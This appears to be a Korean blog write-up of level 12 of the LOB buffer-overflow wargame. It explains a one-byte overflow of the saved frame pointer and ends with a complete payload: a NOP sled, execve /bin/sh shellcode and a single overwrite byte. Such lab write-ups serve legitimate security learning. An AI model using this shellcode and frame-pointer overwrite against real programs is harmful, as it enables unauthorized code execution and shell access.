ii4gsp

LOB - Level12 [golem -> darkknight] 본문

시스템 해킹/LOB

LOB - Level12 [golem -> darkknight]

ii4gsp 2020. 1. 21. 00:52

problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다.

1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다.

스택에서 SFP의 위 주소에는 RET가 존재한다.

즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다.

 

 

 

 

gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자.

A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자

 

 

 

 

0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다.

nop [15byte] + shellcode[25byte]  + \xcc [1byte] 로 페이로드를 한번 입력해보자.

 

 

 

 

gdb로 core dump를 분석해보자

 

 

 

 

\xcc를 \x44로 변경해주고 원본파일에 페이로드를 넣어주자.

 

 

 

 

payload

./darkknight $(python -c 'print "\x90" * 15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x44"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level14 [bugbear -> giant]  (0) 2020.01.23
LOB - Level13 [darkknight -> bugbear]  (0) 2020.01.21
LOB - Level11 [skeleton -> golem]  (0) 2020.01.19
LOB - Level10 [vampire -> skeleton]  (0) 2020.01.18
LOB - Level9 [troll -> vampire]  (0) 2020.01.16
Comments